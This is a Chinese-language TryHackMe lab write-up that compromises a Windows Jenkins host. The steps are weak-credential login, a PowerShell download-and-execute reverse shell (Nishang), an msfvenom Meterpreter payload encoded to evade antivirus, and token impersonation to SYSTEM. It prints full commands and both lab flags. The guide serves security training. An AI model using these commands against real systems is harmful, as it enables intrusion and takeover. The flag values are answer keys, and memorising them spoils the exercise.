本文相关TryHackMe实验房间链接:TryHackMe | Why Subscribe
本文相关介绍:本次实验我们将学习如何利用Jenkins的错误配置来获取目标的初始shell,然后再利用Windows身份验证令牌(tokens)执行权限提升。
本次实验目标IP:10.10.152.218
Task 1 - Initial Access (初始访问)
利用广泛使用的自动化服务器上的常见错误配置(Jenkins - 该工具用于创建持续集成/持续开发管道,允许开发人员在对其代码进行更改后自动部署代码)。之后,我们将使用一种有趣的权限升级方法来获得完整的系统访问权限。
由于这是一个 Windows 应用程序,我们将使用Nishang 来获得初始访问权限。该存储库包含一组有用的脚本,用于初始访问、枚举和权限升级。在本例中,我们将使用反向 shell 脚本。
注意:该计算机不响应 ping (ICMP),并且可能需要几分钟才能启动
1、nmap扫描
nmap -sC -sV -Pn 10.10.152.218
目标开放3个端口:80、3389、8080
访问目标的8080端口,发现Jenkins登陆页面,尝试弱口令admin/admin 登录成功(也可以使用Hydra或者burp进行爆破):
弱口令:admin/admin
目标机上的Jenkins服务器存在一些配置的错误,让我们可以直接在后台执行代码:
- 进入Manage Jenkins(管理 Jenkins)—Script Console(脚本控制台)页面。
- 在脚本控制台页面输入:
println "whoami".execute().text
。
2、反弹shell
修改以下payload备用(先修改后面再使用),该payload将在目标机上被执行,它能够将(来自于攻击机的)反向shell脚本下载到目标机上并完成脚本执行操作:
powershell iex (New-Object Net.WebClient).DownloadString('http://10.2.3.117:8888/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.2.3.117 -Port 1234
# 修改为自己攻击机的IP(本地攻击机的tun0地址)和端口。
# 最后指定的端口为Netcat监听器端口。
注意:先在攻击机上使用python创建一个简易的HTTP服务器,这能使存放在攻击机上的反向shell脚本可以被目标机访问并下载,然后在Jenkins后台中找到一个功能点 以便我们能够下载攻击机上的shell脚本并执行
命令执行页面的具体步骤:先进入Jenkins后台,然后进入project选项卡(页面中间)、configure选项卡(左侧页面),定位到Build页面(选择Execute Windows batch command)以便我们执行命令,在Build界面输入命令,先点击应用并保存,再点击Build now即可。
点击Build now
在攻击机上安装nishang :sudo apt install nishang
。进入nishang/Shells目录(/usr/share/nishang/Shells),在此目录下使用python创建一个HTTP服务器以便进行 反向shell脚本文件传输。
sudo apt install nishang
cd /usr/share/nishang/Shells
python3 -m http.server 8888
3、设置监听器
同时在攻击机上创建另一终端,设置Netcat监听器以便接收反向shell
最后在Jenkins后台窗口粘贴我们前面修改好的payload,点击Apply应用项目并自动保存,再返回Build页面点击Build now运行项目(这样就能成功执行payload)。
4、获取user flag
回到攻击机上设置Netcat的终端界面,发现已经成功建立一个可操作目标机的反向shell,使用该反向shell界面进入目标机的目录(C:\Users\bruce\Desktop), 获取user flag
cd C:\Users\bruce\Desktop
dir
more user.txt
79007a09481963edf2e1321abd9ae2a0
5、答题卡
Task 2 - Switching Shells (切换shell)
为了使权限升级更容易,让我们使用以下过程切换到 meterpreter shell。
使用 msfvenom 使用以下有效负载创建 Windows meterpreter 反向 shell。
1、攻击前准备
需要再开启2个独立的终端窗口来完成攻击:
2、反弹shell
第一步: 终端2 --> 使用 msfvenom 创建一个能让Windows Meterpreter 反向shell的exe文件:
# msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=[IP] LPORT=[PORT] -f exe -o [SHELL NAME].exe
以上有效载荷将生成一个经过编码处理的 x86-64 反向 tcp meterpreter shell文件,使用编码处理在一定程度上可以确保所生成的shell文件能够被正确传输,并且还可以逃避一些反病毒软件
我生成的exe:
# 注意修改端口、IP和shell文件名称
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.2.3.117 LPORT=5555 -f exe -o shell.exe
第二步:终端2 --> 把生成的exe文件转移到nishang/Shells目录下,在nishang/Shells目录下创建http服务(python3 -m http.server 8888
)
大小为:73802
# 修改IP和端口
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.2.3.117:8888/shell.exe','shell.exe')"
进入终端1 :(之前Task1获取的普通反向shell界面),运行以上命令:以上命令会下载攻击机中的指定exe文件到目标机上(也可以使用与上个任务相同的方式来下载exe文件至目标机)
3、开启监听
第三步: 终端3 --> 用于设置MSF监听器,命令如下:
msfconsole -q //进入MSF
use exploit/multi/handler //进入监听模块
set PAYLOAD windows/meterpreter/reverse_tcp //设置payload
set LHOST 10.2.3.117 //设置攻击机ip(tun0)
set LPORT 5555 //监听端口
run //执行命令
再次进入终端1 :(之前获取的普通反向shell界面),输入命令Start-Process "shell.exe"
在目标机上执行exe文件,此时,在终端3(设置MSF监听器的终端)界面可以看到已经获得一个Meterpreter shell。
4、答题卡
Task 3 - Privilege Escalation (权限提升)
1、简介
现在我们有了初始访问权限,我们就可以尝试使用令牌模拟来获得system访问权限(system权限是Windows系统中的最高级别权限)。Windows 可以使用令牌来确保某个账户具有执行特定操作的正确权限,当用户成功登录或通过身份验证机制时,账户令牌(tokens )就会被分配给账户,这通常由 LSASS.exe 完成(你可以将其视为一个身份验证进程)。
此访问令牌包括以下信息:
- user SIDs(security identifier)
- group SIDs
- privileges
除其他事项外,更详细的信息请参考:Access Tokens - Win32 apps | Microsoft Learn
有两种类型的访问令牌:
- 主访问令牌(primary access tokens):此类令牌是指与登录时所生成的用户账户相关联的令牌。
- 模拟令牌(impersonation tokens):此类令牌能够允许特定进程(或进程中的线程)使用另一个(用户/客户端)进程的令牌来访问相关的资源。
对于模拟令牌,有不同的级别:
- SecurityAnonymous:当前用户/客户端无法冒充其他用户/客户端
- SecurityIdentification:当前用户/客户端可以获得客户端的身份和权限,但不能冒充客户端
- SecurityImpersonation:当前用户/客户端可以模拟本地系统上客户端的安全上下文
- SecurityDelegation:当前用户/客户端可以模拟远程系统上客户端的安全上下文
其中安全上下文是包含用户相关安全信息的数据结构。
帐户的权限(在创建时授予帐户或从组继承)允许用户执行特定操作。以下是最常被滥用的特权:
- 冒充特权
- SeAssignPrimaryPrivilege
- SeTcb特权
- SeBackup权限
- Se恢复权限
- SeCreateTokenPrivilege
- SeLoadDriverPrivilegy
- SeTake所有权特权
- SeDebug权限
更多关于令牌特权滥用的信息请参考:Abusing Token Privileges For LPE
2、攻击
首先,使用Meterpreter shell进入普通shell界面,输入相关命令以查看我们当前在目标机上的全部权限。
终端3 :
可以看到目标机启用了两个关键权限(SeDebugPrivilege、SeImpersonatePrivilege),这两个权限能够让我们使用MSF中的模块来进行令牌模拟操作
退出之前的普通shell界面(ctrl+c或者
exit
),在Meterpreter shell界面加载MSF中的incognito模块(使用命令load incognito
),如果相关命令不起作用,可以尝试更新MSF或者先使用use incognito
命令。
模块加载完成之后 输入list_tokens -g
命令检查哪些令牌可用,我们发现BUILTIN\Administrators
令牌可用,所以我们可以模拟管理员令牌,模拟完成后,再运行getuid
命令,可以看到此时我们的uid已经变更为SYSTEM的uid,说明模拟令牌成功。
load incognito
list_tokens -g
impersonate_token "BUILTIN\Administrators"
getuid
当前的uid:NT AUTHORITY\SYSTEM
3、进程迁移
即使我们现在拥有更高特权的令牌(token ),但也可能没有对应的特权用户的权限(由于 Windows 处理权限的方式 - Windows会使用主令牌而不是模拟令牌来确定某个进程的权限分配情况);所以我们还需要迁移到有正确权限的进程
我们可以选择迁移到最安全的services.exe进程:首先使用ps命令查看所有进程,找到services.exe进程的PID,然后使用migrate PID-OF-PROCESS
迁移到目标进程,具体命令如下:
getpid # 查看当前进程pid
ps # 查看所有的进程
migrate 668 # 迁移到services.exe进程 需指定目标进程的PID号
4、flag读取
进程迁移成功,进入目标机的目录,输入命令search -f root.txt
获取最终flag即可(flag路径为:C:\Windows\System32\config\root.txt)。
search -f root.txt
cat "c:\Windows\System32\config\root.txt"
dff0f748678f280250f25a45b8046b4a